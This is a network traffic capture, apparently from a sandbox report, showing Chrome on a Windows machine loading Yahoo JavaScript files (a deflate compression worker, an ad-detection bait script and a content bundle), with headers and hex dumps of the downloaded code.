2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 61 74 3b 69 66 28 6e 3d 6d 3f 72 3a 68 3f 72 5b 76 5d 7c 7c 63 28 76 2c 7b 7d 29 3a 28 72 5b 76 5d 7c 7c 7b 7d 29 2e 70 72 6f 74 6f 74 79 70 65 29 66 6f 72 28 66 20 69 6e 20 65 29 7b 69 66 28 70 3d 65 5b 66 5d 2c 6c 3d 74 2e 64 6f 6e 74 43 61 6c 6c 47 65 74 53 65 74 3f 28 64 3d 6f 28 6e 2c 66 29 29 26 26 64 2e 76 61 6c 75 65 3a 6e 5b 66 5d 2c 21 73 28 6d 3f 66 3a 76 2b 28 68 3f 22 2e 22 3a 22 23 22 29 2b 66 2c 74 2e 66 6f 72 63 65 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 6c 29 7b 69 66 28 74 79 70 65 6f 66 20 70 3d 3d 74 79 70 65 6f 66 20 6c 29 63 6f 6e 74 69 6e 75 65 3b 75 28 70 2c 6c 29 7d 28 74 2e 73 68 61 6d 7c 7c 6c 26 26 6c 2e 73 68 61 6d 29 26 26 69 28 70 2c 22 73 68 61 6d 22 2c 21 30 29 2c 61 28 6e 2c 66 2c 70 2c 74 29 7d 7d 7d 2c 37 32 39 33 3a Data Ascii: tat;if(n=m?r:h?r[v]\|\|c(v,{}):(r[v]\|\|{}).prototype)for(f in e){if(p=e[f],l=t.dontCallGetSet?(d=o(n,f))&&d.value:n[f],!s(m?f:v+(h?".":"#")+f,t.forced)&&void 0!==l){if(typeof p==typeof l)continue;u(p,l)}(t.sham\|\|l&&l.sham)&&i(p,"sham",!0),a(n,f,p,t)}}},7293:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49828	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	893	OUT	GET /__rapid-worker-1.2.js HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:10 UTC	836	IN	HTTP/1.1 200 OK x-amz-id-2: oYU/MEMgH0xyrDiVeKLg2eze87/1LEoUyTdOq9h8BrPA8wDMwbCvJDqp06IUSVmd4fLdVNC3H+Y= x-amz-request-id: AXVFACKRGWNBXN5V Date: Wed, 10 Jan 2024 15:04:40 GMT Last-Modified: Tue, 06 Mar 2018 20:46:57 GMT ETag: "e2202e6ed6ef52cec2c4a875c99225ba" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 x-amz-meta-created-date: Wed, 15 Oct 2014 18:48:37 GMT x-amz-meta-mbst-etag: "YM:1:e64293ae-a913-4bb2-8dd1-87431f3be4230005057a946243f1" x-amz-meta-x-ysws-mbst-vtime: 1413398917170161 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public x-amz-version-id: null Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 15697 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 30151 Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:10 UTC	743	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 73 61 6e 64 62 6f 78 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 20 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 2d 74 6f 2d 65 73 63 61 70 65 2d 73 61 6e 64 62 6f 78 20 61 6c 6c 6f 77 2d 70 72 65 73 65 6e 74 61 74 69 6f 6e 3b 20 72 65 70 6f 72 74 2d 75 72 69 20 68 74 74 70 73 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 61 74 73 26 73 69 74 65 3d 66 72 6f 6e 74 70 61 67 65 26 72 65 67 69 6f 6e 3d 55 53 26 6c 61 6e 67 3d 65 6e 2d 55 53 26 64 65 76 69 63 65 3d 64 65 73 6b 74 6f 70 26 79 72 69 64 3d 31 63 76 66 32 65 Data Ascii: Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=1cvf2e
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 2f 2a 20 40 70 72 65 73 65 72 76 65 0a 20 2a 20 24 49 64 3a 20 72 61 77 64 65 66 6c 61 74 65 2e 6a 73 2c 76 20 30 2e 33 20 32 30 30 39 2f 30 33 2f 30 31 20 31 39 3a 30 35 3a 30 35 20 64 61 6e 6b 6f 67 61 69 20 45 78 70 20 64 61 6e 6b 6f 67 61 69 20 24 0a 20 2a 0a 20 2a 20 4f 72 69 67 69 6e 61 6c 3a 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 6e 69 63 6f 73 2e 63 6f 6d 2f 73 74 61 66 66 2f 69 7a 2f 61 6d 75 73 65 2f 6a 61 76 61 73 63 72 69 70 74 2f 65 78 70 65 72 74 2f 64 65 66 6c 61 74 65 2e 74 78 74 0a 20 2a 2f 0a 2f 2a 20 40 70 72 65 73 65 72 76 65 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 39 20 4d 61 73 61 6e 61 6f 20 49 7a 75 6d 6f 20 3c 69 7a 40 6f 6e 69 63 6f 73 2e 63 6f 2e 6a 70 3e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a Data Ascii: /* @preserve * $Id: rawdeflate.js,v 0.3 2009/03/01 19:05:05 dankogai Exp dankogai $ * * Original: * http://www.onicos.com/staff/iz/amuse/javascript/expert/deflate.txt // @preserve * Copyright (C) 1999 Masanao Izumo <iz@onicos.co.jp> * Version:
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 65 72 72 6f 72 3a 20 7a 69 70 5f 57 53 49 5a 45 20 69 73 20 74 6f 6f 20 6c 61 72 67 65 22 29 2c 5f 3e 64 2d 31 26 26 70 6f 73 74 4d 65 73 73 61 67 65 28 22 65 72 72 6f 72 3a 20 7a 69 70 5f 48 41 53 48 5f 42 49 54 53 20 69 73 20 74 6f 6f 20 6c 61 72 67 65 22 29 2c 28 38 3e 5f 7c 7c 32 35 38 21 3d 68 29 26 26 70 6f 73 74 4d 65 73 73 61 67 65 28 22 65 72 72 6f 72 3a 20 43 6f 64 65 20 74 6f 6f 20 63 6c 65 76 65 72 22 29 3b 76 61 72 20 76 2c 79 2c 77 2c 6d 2c 67 2c 78 2c 62 2c 70 2c 4d 2c 43 2c 42 2c 7a 2c 49 2c 52 2c 58 2c 44 2c 6a 2c 6b 2c 4e 2c 53 2c 48 2c 55 2c 5a 2c 45 2c 46 2c 54 2c 57 2c 71 2c 47 2c 4a 2c 4b 2c 4c 2c 4f 2c 50 2c 51 2c 56 2c 59 2c 24 2c 72 74 2c 74 74 2c 65 74 2c 6e 74 2c 66 74 2c 6f 74 2c 69 74 2c 61 74 2c 6c 74 2c 75 74 2c 73 74 2c 63 Data Ascii: error: zip_WSIZE is too large"),_>d-1&&postMessage("error: zip_HASH_BITS is too large"),(8>_\|\|258!=h)&&postMessage("error: Code too clever");var v,y,w,m,g,x,b,p,M,C,B,z,I,R,X,D,j,k,N,S,H,U,Z,E,F,T,W,q,G,J,K,L,O,P,Q,V,Y,$,rt,tt,et,nt,ft,ot,it,at,lt,ut,st,c
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 3d 21 31 2c 5a 3d 21 31 2c 6e 75 6c 6c 3d 3d 46 74 29 7b 66 6f 72 28 76 3d 79 3d 77 3d 6e 75 6c 6c 2c 46 74 3d 41 72 72 61 79 28 75 29 2c 70 3d 41 72 72 61 79 28 73 29 2c 4d 3d 41 72 72 61 79 28 77 74 29 2c 43 3d 41 72 72 61 79 28 61 2b 6c 29 2c 42 3d 41 72 72 61 79 28 31 3c 3c 64 29 2c 4a 3d 41 72 72 61 79 28 5a 74 29 2c 74 3d 30 3b 5a 74 3e 74 3b 74 2b 2b 29 4a 5b 74 5d 3d 6e 65 77 20 54 74 3b 66 6f 72 28 4b 3d 41 72 72 61 79 28 32 2a 6b 74 2b 31 29 2c 74 3d 30 3b 32 2a 6b 74 2b 31 3e 74 3b 74 2b 2b 29 4b 5b 74 5d 3d 6e 65 77 20 54 74 3b 66 6f 72 28 4c 3d 41 72 72 61 79 28 6a 74 2b 32 29 2c 74 3d 30 3b 6a 74 2b 32 3e 74 3b 74 2b 2b 29 4c 5b 74 5d 3d 6e 65 77 20 54 74 3b 66 6f 72 28 4f 3d 41 72 72 61 79 28 6b 74 29 2c 74 3d 30 3b 6b 74 3e 74 3b 74 2b 2b Data Ascii: =!1,Z=!1,null==Ft){for(v=y=w=null,Ft=Array(u),p=Array(s),M=Array(wt),C=Array(a+l),B=Array(1<<d),J=Array(Zt),t=0;Zt>t;t++)J[t]=new Tt;for(K=Array(2kt+1),t=0;2kt+1>t;t++)K[t]=new Tt;for(L=Array(jt+2),t=0;jt+2>t;t++)L[t]=new Tt;for(O=Array(kt),t=0;kt>t;t++
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 5a 3d 21 31 3b 4d 74 3e 45 26 26 21 5a 3b 29 73 65 28 29 3b 66 6f 72 28 58 3d 30 2c 72 3d 30 3b 63 2d 31 3e 72 3b 72 2b 2b 29 58 3d 28 58 3c 3c 45 74 5e 32 35 35 26 70 5b 72 5d 29 26 67 74 7d 2c 75 65 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 2c 65 2c 6e 3d 46 2c 66 3d 48 2c 6f 3d 53 2c 61 3d 48 3e 43 74 3f 48 2d 43 74 3a 62 74 2c 6c 3d 48 2b 68 2c 75 3d 70 5b 66 2b 6f 2d 31 5d 2c 73 3d 70 5b 66 2b 6f 5d 3b 53 3e 3d 71 26 26 28 6e 3e 3e 3d 32 29 3b 64 6f 20 69 66 28 74 3d 72 2c 70 5b 74 2b 6f 5d 3d 3d 73 26 26 70 5b 74 2b 6f 2d 31 5d 3d 3d 75 26 26 70 5b 74 5d 3d 3d 70 5b 66 5d 26 26 70 5b 2b 2b 74 5d 3d 3d 70 5b 66 2b 31 5d 29 7b 66 2b 3d 32 2c 74 2b 2b 3b 64 6f 3b 77 68 69 6c 65 28 70 5b 2b 2b 66 5d 3d 3d 70 5b 2b 2b 74 5d 26 26 70 5b 2b 2b Data Ascii: Z=!1;Mt>E&&!Z;)se();for(X=0,r=0;c-1>r;r++)X=(X<<Et^255&p[r])&gt},ue=function(r){var t,e,n=F,f=H,o=S,a=H>Ct?H-Ct:bt,l=H+h,u=p[f+o-1],s=p[f+o];S>=q&&(n>>=2);do if(t=r,p[t+o]==s&&p[t+o-1]==u&&p[t]==p[f]&&p[++t]==p[f+1]){f+=2,t++;do;while(p[++f]==p[++t]&&p[++
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 5a 7c 7c 28 7a 3d 30 2c 49 3d 30 2c 76 65 28 29 2c 6c 65 28 29 2c 79 3d 6e 75 6c 6c 2c 67 3d 30 2c 78 3d 30 2c 6b 3d 30 2c 33 3e 3d 57 3f 28 53 3d 63 2d 31 2c 4e 3d 30 29 3a 28 4e 3d 63 2d 31 2c 6b 3d 30 2c 6b 3d 30 29 2c 62 3d 21 31 29 7d 2c 41 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 2c 65 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 6d 7c 7c 28 64 65 28 29 2c 6d 3d 21 30 2c 30 21 3d 45 29 3f 28 6e 3d 5f 65 28 72 2c 74 2c 65 29 29 3d 3d 65 3f 65 3a 62 3f 6e 3a 28 33 3e 3d 57 3f 63 65 28 29 3a 68 65 28 29 2c 30 3d 3d 45 26 26 28 30 21 3d 6b 26 26 7a 65 28 30 2c 32 35 35 26 70 5b 48 2d 31 5d 29 2c 42 65 28 31 29 2c 62 3d 21 30 29 2c 6e 2b 5f 65 28 72 2c 6e 2b 74 2c 65 2d 6e 29 29 3a 28 62 3d 21 30 2c 30 29 7d 2c 5f 65 3d Data Ascii: function(){Z\|\|(z=0,I=0,ve(),le(),y=null,g=0,x=0,k=0,3>=W?(S=c-1,N=0):(N=c-1,k=0,k=0),b=!1)},Ae=function(r,t,e){var n;return m\|\|(de(),m=!0,0!=E)?(n=_e(r,t,e))==e?e:b?n:(3>=W?ce():he(),0==E&&(0!=k&&ze(0,255&p[H-1]),Be(1),b=!0),n+_e(r,n+t,e-n)):(b=!0,0)},_e=
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 44 65 28 72 2c 35 29 3b 79 65 28 29 7d 7d 2c 79 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3b 66 6f 72 28 72 3d 30 3b 6a 74 3e 72 3b 72 2b 2b 29 4a 5b 72 5d 2e 66 63 3d 30 3b 66 6f 72 28 72 3d 30 3b 6b 74 3e 72 3b 72 2b 2b 29 4b 5b 72 5d 2e 66 63 3d 30 3b 66 6f 72 28 72 3d 30 3b 4e 74 3e 72 3b 72 2b 2b 29 50 5b 72 5d 2e 66 63 3d 30 3b 4a 5b 44 74 5d 2e 66 63 3d 31 2c 41 74 3d 5f 74 3d 30 2c 75 74 3d 73 74 3d 63 74 3d 30 2c 68 74 3d 30 2c 64 74 3d 31 7d 2c 77 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 72 74 5b 74 5d 2c 6e 3d 74 3c 3c 31 3b 74 74 3e 3d 6e 26 26 28 74 74 3e 6e 26 26 69 65 28 72 2c 72 74 5b 6e 2b 31 5d 2c 72 74 5b 6e 5d 29 26 26 6e 2b 2b 2c 21 69 65 28 72 2c 65 2c 72 74 5b 6e 5d 29 29 3b 29 72 74 Data Ascii: De(r,5);ye()}},ye=function(){var r;for(r=0;jt>r;r++)J[r].fc=0;for(r=0;kt>r;r++)K[r].fc=0;for(r=0;Nt>r;r++)P[r].fc=0;J[Dt].fc=1,At=_t=0,ut=st=ct=0,ht=0,dt=1},we=function(r,t){for(var e=rt[t],n=t<<1;tt>=n&&(tt>n&&ie(r,rt[n+1],rt[n])&&n++,!ie(r,e,rt[n]));)rt
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 5b 65 5d 2b 31 3f 6e 74 5b 74 5d 3a 6e 74 5b 65 5d 2b 31 2c 6e 5b 74 5d 2e 64 6c 3d 6e 5b 65 5d 2e 64 6c 3d 61 2c 72 74 5b 42 74 5d 3d 61 2b 2b 2c 77 65 28 6e 2c 42 74 29 3b 77 68 69 6c 65 28 74 74 3e 3d 32 29 3b 72 74 5b 2d 2d 65 74 5d 3d 72 74 5b 42 74 5d 2c 6d 65 28 72 29 2c 67 65 28 6e 2c 69 29 7d 2c 62 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 65 2c 6e 2c 66 3d 2d 31 2c 6f 3d 72 5b 30 5d 2e 64 6c 2c 69 3d 30 2c 61 3d 37 2c 6c 3d 34 3b 66 6f 72 28 30 3d 3d 6f 26 26 28 61 3d 31 33 38 2c 6c 3d 33 29 2c 72 5b 74 2b 31 5d 2e 64 6c 3d 36 35 35 33 35 2c 65 3d 30 3b 74 3e 3d 65 3b 65 2b 2b 29 6e 3d 6f 2c 6f 3d 72 5b 65 2b 31 5d 2e 64 6c 2c 61 3e 2b 2b 69 26 26 6e 3d 3d 6f 7c 7c 28 6c 3e 69 3f 50 5b 6e 5d 2e 66 63 2b 3d 69 3a 30 21 3d 6e Data Ascii: t[e]+1?nt[t]:nt[e]+1,n[t].dl=n[e].dl=a,rt[Bt]=a++,we(n,Bt);while(tt>=2);rt[--et]=rt[Bt],me(r),ge(n,i)},be=function(r,t){var e,n,f=-1,o=r[0].dl,i=0,a=7,l=4;for(0==o&&(a=138,l=3),r[t+1].dl=65535,e=0;t>=e;e++)n=o,o=r[e+1].dl,a>++i&&n==o\|\|(l>i?P[n].fc+=i:0!=n
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 29 2c 64 74 3c 3c 3d 31 2c 30 3d 3d 28 37 26 75 74 29 26 26 28 6c 74 5b 63 74 2b 2b 5d 3d 68 74 2c 68 74 3d 30 2c 64 74 3d 31 29 2c 57 3e 32 26 26 30 3d 3d 28 34 30 39 35 26 75 74 29 29 7b 76 61 72 20 65 2c 6e 3d 38 2a 75 74 2c 66 3d 48 2d 52 3b 66 6f 72 28 65 3d 30 3b 6b 74 3e 65 3b 65 2b 2b 29 6e 2b 3d 4b 5b 65 5d 2e 66 63 2a 28 35 2b 4b 74 5b 65 5d 29 3b 69 66 28 6e 3e 3e 3d 33 2c 70 61 72 73 65 49 6e 74 28 75 74 2f 32 29 3e 73 74 26 26 70 61 72 73 65 49 6e 74 28 66 2f 32 29 3e 6e 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 20 75 74 3d 3d 41 2d 31 7c 7c 73 74 3d 3d 77 74 7d 2c 49 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 65 2c 6e 2c 66 2c 6f 2c 69 3d 30 2c 61 3d 30 2c 6c 3d 30 2c 75 3d 30 3b 69 66 28 30 21 3d 75 74 29 64 6f 20 30 Data Ascii: ),dt<<=1,0==(7&ut)&&(lt[ct++]=ht,ht=0,dt=1),W>2&&0==(4095&ut)){var e,n=8ut,f=H-R;for(e=0;kt>e;e++)n+=K[e].fc(5+Kt[e]);if(n>>=3,parseInt(ut/2)>st&&parseInt(f/2)>n)return!0}return ut==A-1\|\|st==wt},Ie=function(r,t){var e,n,f,o,i=0,a=0,l=0,u=0;if(0!=ut)do 0
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 4d 3d 41 72 72 61 79 28 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 2c 31 2c 31 2c 31 2c 32 2c 32 2c 32 2c 32 2c 33 2c 33 2c 33 2c 33 2c 34 2c 34 2c 34 2c 34 2c 35 2c 35 2c 35 2c 35 2c 30 2c 39 39 2c 39 39 29 2c 43 3d 41 72 72 61 79 28 31 2c 32 2c 33 2c 34 2c 35 2c 37 2c 39 2c 31 33 2c 31 37 2c 32 35 2c 33 33 2c 34 39 2c 36 35 2c 39 37 2c 31 32 39 2c 31 39 33 2c 32 35 37 2c 33 38 35 2c 35 31 33 2c 37 36 39 2c 31 30 32 35 2c 31 35 33 37 2c 32 30 34 39 2c 33 30 37 33 2c 34 30 39 37 2c 36 31 34 35 2c 38 31 39 33 2c 31 32 32 38 39 2c 31 36 33 38 35 2c 32 34 35 37 37 29 2c 42 3d 41 72 72 61 79 28 30 2c 30 2c 30 2c 30 2c 31 2c 31 2c 32 2c 32 2c 33 2c 33 2c 34 2c 34 2c 35 2c 35 2c 36 2c 36 2c 37 2c 37 2c 38 2c 38 2c 39 2c 39 2c 31 30 2c 31 30 2c 31 31 2c Data Ascii: M=Array(0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,99,99),C=Array(1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577),B=Array(0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49829	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	549	OUT	GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	841	IN	HTTP/1.1 200 OK x-amz-id-2: qIpx+codIUlS7YgARUIH9ogoRXuC1icZos/tjMW78kKSgljvVZX2p01illR61zBnSXQvtz0J4VZZqcQWFktMo+LegGKBua7W/BFahkfm/eo= x-amz-request-id: HWH9TD4TXYAP38DJ Date: Wed, 10 Jan 2024 21:55:44 GMT Last-Modified: Tue, 19 May 2020 03:33:21 GMT ETag: "ca243b22264dca7a4a899c51cc2dc963" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public, immutable Accept-Ranges: bytes Content-Type: application/x-javascript Server: ATS Content-Length: 158 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:10 UTC	158	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 64 69 76 20 69 64 3d 22 61 64 76 65 72 74 69 73 65 6d 65 6e 74 2d 74 68 61 6d 62 61 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 44 69 73 70 6c 61 79 20 41 64 76 65 72 74 69 73 65 6d 65 6e 74 3c 2f 64 69 76 3e 27 29 3b 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 2c 20 59 61 68 6f 6f 21 20 49 6e 63 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 0a Data Ascii: document.write('<div id="advertisement-thamba" style="display:none">Display Advertisement</div>');/* Copyright (c) 2020, Yahoo! Inc. All rights reserved. */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49831	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:10 UTC	538	OUT	GET /aaq/wf/wf-caas-1.35.4-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:10 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: lpNSGun8kh1ytifzXdq2sIrEKmCGKhyhsq5kP5aEP3JKDefnmaaUzuBX37GSGwEsN9kkDEqlZhU= x-amz-request-id: 208S98VDM13F3GB5 Date: Wed, 10 Jan 2024 23:27:11 GMT Last-Modified: Tue, 28 Nov 2023 06:52:40 GMT ETag: "f9c3fd700f5c2dbb03768bf662c39211" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: zA3zLb2bn.Pa69oXiA5lh1jLuGQ1SxJA Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 27842 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:10 UTC	791	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 63 61 61 73 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 63 61 61 73 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-caas",[],t):"object"==typeof exports?exports["wafer-caas"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 74 2e 70 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 71 2f 77 66 2f 22 2c 74 28 74 2e 73 3d 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 29 7d 28 7b 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 Data Ascii: t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,a){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e,t){if(!e)throw new ReferenceError("this has
2024-01-10 23:27:10 UTC	1300	IN	Data Raw: 72 20 6c 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 75 3d 6c 2e 66 65 61 74 75 72 65 73 2c 66 3d 6c 2e 75 74 69 6c 73 2c 64 3d 66 2e 66 69 6e 64 41 6e 63 65 73 74 6f 72 2c 68 3d 66 2e 67 65 74 55 72 6c 50 61 72 61 6d 65 74 65 72 56 61 6c 75 65 42 79 4e 61 6d 65 2c 76 3d 66 2e 6c 6f 61 64 43 53 53 53 79 6e 63 2c 77 3d 66 2e 6c 6f 61 64 53 63 72 69 70 74 41 73 79 6e 63 2c 70 3d 2f 5e 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 79 69 6d 67 2e 63 6f 6d 5c 2f 28 6f 73 7c 61 61 71 29 5c 2f 63 2f 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 72 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 5b 3f 26 5d 29 22 2b 74 2b 22 3d 2e 2a 3f 28 26 7c 24 29 22 2c 22 69 22 29 2c 69 3d 2d 31 21 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 3f 22 26 22 3a 22 3f 22 